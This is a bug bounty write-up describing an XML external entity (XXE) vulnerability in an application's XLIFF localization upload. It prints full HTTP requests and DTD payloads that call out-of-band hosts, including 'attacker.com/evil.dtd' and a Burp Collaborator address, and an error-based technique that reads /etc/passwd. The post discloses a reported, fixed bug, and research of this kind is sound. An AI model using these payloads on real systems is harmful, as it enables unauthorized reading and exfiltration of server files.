Home Full Local File Read via Error Based XXE using XLIFF File
Post
Cancel

Full Local File Read via Error Based XXE using XLIFF File

بسم الله الرحمن الرحيم

Some Information on this Post such as Target URL, Endpoint, and several others was modified due to Protect the Privacy of the Program

I like finding bugs in apps that have a lot of features. The more complex the application, the more likely there are bugs in it.


A Few times ago, I had the opportunity to do Bug Hunting activities in one of the Private. In this program, there is a complex application with various features. One of the features in the application is Localization. We can change the Localization of the application by uploading an XLIFF file.

I. What is the XLIFF File?

According to the Wikipedia:

XLIFF (XML Localization Interchange File Format) is an XML-based bitext format created to standardize the way localizable data are passed between and among tools during a localization process and a common format for CAT tool exchange.

As you can see, the XLIFF file is based on XML. And where there’s XML, there’s probably an XXE Vulnerability.

The initial test is by adding XXE payload and pointing the request to the Burp Collaborator. I use parameter entities for my payload because general entities doesn’t work and I have no idea why.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /redacted-endpoint HTTP/2
Host: target.com
Cookie: -
Content-Length: -
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Dnt: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqBdAsEtYaBjTArl3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6,ms;q=0.5
Connection: close

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

The server response with an error:

1
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

But we got a hit on Burp Collaborator:

Full Local File Read via Error Based XXE using XLIFF File Figure 1 - Burp Collaborator Request

This confirms that the application was vulnerable to XXE Injection.


II. Exfiltrating Data via Out of Band

Next is try to exfiltrate the Local File, I create an external DTD and host it in my VPS:

1
2
3
4
5
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % foo "
<!ENTITY &#37; xxe SYSTEM 'https://redacted.burpcollaborator.net/?xxe=%data;'>">
%foo;
%xxe;

And the payload was modified by adding an external DTD on it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /redacted-endpoint HTTP/2
Host: target.com
Cookie: -
Content-Length: -
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Dnt: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqBdAsEtYaBjTArl3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,eu;q=0.6,ms;q=0.5
Connection: close

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

Then I was able to get the content of /etc/hostname file in the Burp Collaborator request.

Full Local File Read via Error Based XXE using XLIFF File Figure 2 - Retrieving the Hostname File

Based on the displayed User Agent, it appears that it is using Java 1.8. One of the problems when exploiting XXE on this version of Java is we’re unable to obtain the files containing a New Line such as /etc/passwd using the Out-of-Band technique.

I’ve try to exfiltrate using FTP, but the content still isn’t full.

Full Local File Read via Error Based XXE using XLIFF File Figure 3 - Trying to Exfiltrate Data via FTP

Actually, this is enough to prove an XXE vulnerability that can be exploited to obtain Local Files. But to show the real impact, I tried to find a way to get the file in its entirety.


III. Exfiltrating Data via Error Based

Back to the Error response:

1
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

We can see that in the error message there is a URL that we put in the payload. This can be used to obtain the full contents of the Local File.

Details on this technique can be seen in this amazing video from @pwnfunction: XXE Challenge - Google CTF

The idea is by fetching the Local File and adding its content as the filename. Because the file is doesn’t exist in the server, then the server will throw an error with the name of the file which is the content of the Local File.

The initial test is by modifying the DTD to fetch the non-exist file in the server and check if the path is reflected in the Error message.

DTD File:

1
2
3
4
5
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "
<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

Server Response:

1
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

Great! The non-exist file is reflected in the Error messages. Next is adding the File Content.

DTD File:

1
2
3
4
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

And the File was successfully extracted!

Full Local File Read via Error Based XXE using XLIFF File Figure 4 - Successfully Read Passwd File

The vulnerability reported with P1 severity, and now it was fixed.

This post is licensed under CC BY 4.0 by the author.

SSRF in PDF Renderer using SVG

-